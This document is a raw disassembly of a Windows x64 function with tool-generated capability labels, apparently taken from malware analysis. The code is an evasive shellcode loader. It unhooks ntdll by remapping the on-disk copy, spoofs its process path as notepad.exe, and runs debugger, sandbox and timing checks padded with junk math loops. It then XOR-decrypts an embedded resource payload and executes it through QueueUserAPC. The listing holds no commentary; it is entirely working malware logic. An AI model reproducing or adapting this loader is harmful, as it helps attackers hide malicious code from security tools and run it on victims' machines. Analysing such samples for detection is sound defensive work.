Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x320], ecx
mov qword [rbp + 0x328], rdx
call fcn.1400028e0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x288], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x280], rax
mov dword [rbp + 0x2fc], 0xffffffff
mov ecx, 0x1158
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x278], rax
add dword [rbp + 0x2fc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x278]
add rax, rdx
movsd xmm1, qword [0x140005178]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x278]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x278]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2fc], 0x229
jle 0x1400014c2
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x270], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2f0], rax
cmp qword [rbp + 0x2f0], 0
jne 0x1400015ef
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2f0], rax
cmp qword [rbp + 0x2f0], 0
je 0x140001983
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x270]
mov r10, qword [rbp + 0x2f0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x268], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x268]
add rax, rdx
mov qword [rbp + 0x240], rax
mov word [rbp + 0x2ee], 0
jmp 0x14000196b
mov dword [rbp + 0x23c], 1
mov ecx, 0xde0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x2e0], 2
jmp 0x140001778
mov rax, qword [rbp + 0x2e0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x230]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x2e0], 1
cmp qword [rbp + 0x2e0], 0x377
jbe 0x140001751
mov qword [rbp + 0x2e0], 2
jmp 0x14000180f
mov rax, qword [rbp + 0x2e0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x230]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001807
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x2d8], rax
jmp 0x1400017f0
mov rax, qword [rbp + 0x2e0]
imul rax, qword [rbp + 0x2d8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x230]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x2d8], 1
mov rax, qword [rbp + 0x2e0]
imul rax, qword [rbp + 0x2d8]
cmp rax, 0x377
jbe 0x1400017c1
add qword [rbp + 0x2e0], 1
cmp qword [rbp + 0x2e0], 0x377
jbe 0x140001792
mov rax, qword [rbp + 0x230]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x240]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x240]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x2ee]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000195a
mov dword [rbp + 0xa8], 0
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x268]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xa8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x250]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x268]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0xa8]
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x268]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xa8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x2ee]
add eax, 1
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x240]
movzx eax, word [rax + 6]
cmp word [rbp + 0x2ee], ax
jb 0x140001729
mov ecx, 0xfb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x2d4], 0
jmp 0x1400019ee
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x220]
add rax, rdx
movsd xmm1, qword [0x140005178]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x1f5
jle 0x1400019a0
mov dword [rbp + 0x2d4], 0
jmp 0x140001a58
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x220]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2d4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x220]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x1f5
jle 0x140001a06
mov dword [rbp + 0xac], 0
mov rax, qword [rbp + 0x288]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0xac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x218]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xb8]
add rax, 0x3c
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x210]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0
jne 0x14000281c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
call rax
mov dword [rbp + 0x1fc], eax
mov ecx, 0x30b
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x200]
call rax
mov dword [rbp + 0x1f8], eax
mov eax, dword [rbp + 0x1f8]
sub eax, dword [rbp + 0x1fc]
cmp eax, 0x2d9
jbe 0x14000281c
mov qword [rbp + 0x1f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4c1ca80
mov ecx, 0
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
je 0x14000281c
mov rax, qword [rbp + 0x1f0]
mov edx, 0x4c1ca80
mov rcx, rax
call fcn.140003ea0
mov rax, qword [rbp + 0x1f0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x1e0], rax
cmp qword [rbp + 0x1e0], 0
je 0x14000281c
mov rax, qword [rbp + 0x1e0]
mov edx, 0x62f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x1dc], eax
mov qword [rbp + 0x2c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1d0], rax
cmp qword [rbp + 0x1d0], 0
je 0x140001d1c
mov rax, qword [rbp + 0x1d0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1c8]
mov r9d, 0x3000
mov r8d, 0x484
mov edx, 0
call rax
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
je 0x14000281c
mov ecx, 0x77e
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x77e
jne 0x14000281c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x1c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1b8]
mov r9d, 0x3000
mov r8d, 0x33a
mov edx, 0
call rax
mov qword [rbp + 0x1c0], rax
cmp qword [rbp + 0x1c0], 0
je 0x14000281c
mov dword [rbp + 0xa4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0xa4]
mov r8, qword [rbp + 0x1b0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0xa4]
cmp eax, 1
je 0x14000281c
mov qword [rbp + 0x2c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0
je 0x140001edb
mov rax, qword [rbp + 0x1a8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1a0]
mov r9d, 0x3000
mov r8d, 0x410
mov edx, 0
call rax
mov qword [rbp + 0x2c0], rax
cmp qword [rbp + 0x2c0], 0
je 0x14000281c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
call rax
mov dword [rbp + 0x194], eax
mov ecx, 0x23c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x198]
call rax
mov dword [rbp + 0x190], eax
mov eax, dword [rbp + 0x190]
sub eax, dword [rbp + 0x194]
cmp eax, 0x20a
jbe 0x14000281c
mov rax, qword [rbp + 0x280]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x188], rax
lea rax, str.CNDAXPTTCRDI
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x188]
lea r8, str.CNDAXPTTCRDI
mov ecx, 0
call rax
mov qword [rbp + 0x180], rax
mov dword [rbp + 0x2bc], 0
jmp 0x140001ff6
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400038d0
movq rax, xmm0
mov qword [rbp + 0xf8], rax
add dword [rbp + 0x2bc], 1
cmp dword [rbp + 0x2bc], 0x295
jle 0x140001fb2
mov rax, qword [rbp + 0x280]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
mov dword [rbp + 0x2b8], 0xffffffff
add dword [rbp + 0x2b8], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x69
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbp + 0x170], rax
cmp dword [rbp + 0x2b8], 0x3b4
jle 0x14000202d
mov rax, qword [rbp + 0x180]
mov r8, qword [rbp + 0x178]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x280]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x160], rax
mov dword [rbp + 0x2b4], 0xffffffff
mov ecx, 0x1518
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x158], rax
add dword [rbp + 0x2b4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x158]
add rax, rdx
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x2b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x158]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2b4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x158]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ae0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2b4], 0x2a1
jle 0x1400020d3
mov rax, qword [rbp + 0x280]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x280]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x180]
mov r8, qword [rbp + 0x160]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x150]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x180]
mov r8, qword [rbp + 0x160]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x140]
mov r9, qword [rbp + 0x148]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x288]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x180]
mov r8, qword [rbp + 0x160]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x168]
mov rax, qword [rbp + 0x138]
mov r9, qword [rbp + 0x130]
mov r8, rcx
mov rcx, rax
call r9
mov ecx, 0xf68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x128], rax
mov dword [rbp + 0x2ac], 0
jmp 0x14000230a
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x128]
add rax, rdx
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2ac], 1
cmp dword [rbp + 0x2ac], 0x1ec
jle 0x1400022cc
mov dword [rbp + 0x2ac], 0
jmp 0x140002374
mov eax, dword [rbp + 0x2ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x128]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2ac]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x128]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2ac], 1
cmp dword [rbp + 0x2ac], 0x1ec
jle 0x140002322
mov dword [rbp + 0x2a8], 0
mov dword [rbp + 0x2a4], 0
movabs rax, 0xcab6e91ddd3c8a4c
movabs rdx, 0xd4438a4971362dea
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xe07ed9e913c631e8
movabs rdx, 0x7a256a47a3053db5
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x23a01a37727e0d
mov qword [rbp + 0x10], rax
movabs rax, 0xdc34b52010c2e574
movabs rdx, 0x6633707530f5f683
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xf8e0af341c080471
movabs rdx, 0x8700b8960f740dc5
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xde0d4ab70c445857
movabs rdx, 0xe3e70a1dbbcefede
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x131a59b4c2cf287b
movabs rdx, 0xd745703508c66b33
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x8b1932fe09c82ba6
movabs rdx, 0x66a763c658f40f0f
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xda373cb401dd6d98
movabs rdx, 0x7d8400b5a21ea818
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xd5e76fa6854a0b2b
movabs rdx, 0x6d9c97daff34aea2
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x152b6d9c97daff34
movabs rdx, 0xfd6e4082c32122
mov qword [rbp + 0x8a], rax
mov qword [rbp + 0x92], rdx
mov dword [rbp + 0x2a0], 0x1ea
mov dword [rbp + 0x29c], 0x1ae
jmp 0x1400024fa
mov eax, dword [rbp + 0x2a0]
cmp eax, dword [rbp + 0x29c]
jle 0x1400024f3
sub dword [rbp + 0x2a0], 1
jmp 0x1400024fa
sub dword [rbp + 0x29c], 1
cmp dword [rbp + 0x2a0], 0
jg 0x1400024dc
mov dword [rbp + 0x2b0], 0
jmp 0x1400025e2
cmp dword [rbp + 0x2a8], 0x78
jne 0x1400025ac
mov eax, dword [rbp + 0x2b0]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x2a8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x2b0]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x298], 0
jmp 0x140002594
call sub.msvcrt.dll_rand
imul eax, eax, 0x2c5
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbp + 0x100], rax
add dword [rbp + 0x298], 1
cmp dword [rbp + 0x298], 0x2d8
jle 0x140002553
mov dword [rbp + 0x2a8], 0
jmp 0x1400025db
mov eax, dword [rbp + 0x2b0]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x2a8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x2b0]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x2a8], 1
add dword [rbp + 0x2b0], 1
mov eax, dword [rbp + 0x2b0]
cmp eax, 0x26
jbe 0x140002512
mov dword [rbp + 0x2b0], 0
jmp 0x140002783
cmp dword [rbp + 0x2a4], 0x26
jne 0x140002656
mov eax, dword [rbp + 0x2b0]
movsxd rdx, eax
mov rax, qword [rbp + 0x138]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2a4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2b0]
movsxd rdx, eax
mov rax, qword [rbp + 0x138]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x2a4], 0
jmp 0x14000277c
mov ecx, 0x1ac0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x294], 0
jmp 0x1400026c1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005170]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x294]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x108]
add rax, rdx
movsd xmm1, qword [0x140005178]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x294], 1
cmp dword [rbp + 0x294], 0x357
jle 0x140002673
mov dword [rbp + 0x294], 0
jmp 0x14000272b
mov eax, dword [rbp + 0x294]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x108]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x294]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x108]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x294], 1
cmp dword [rbp + 0x294], 0x357
jle 0x1400026d9
mov eax, dword [rbp + 0x2b0]
movsxd rdx, eax
mov rax, qword [rbp + 0x138]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2a4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2b0]
movsxd rdx, eax
mov rax, qword [rbp + 0x138]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x2a4], 1
add dword [rbp + 0x2b0], 1
cmp dword [rbp + 0x2b0], 0x42b
jle 0x140002600
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x280]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x280]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x110], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x120]
mov r9, qword [rbp + 0x118]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x110]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x388
pop rbx
pop rbp
ret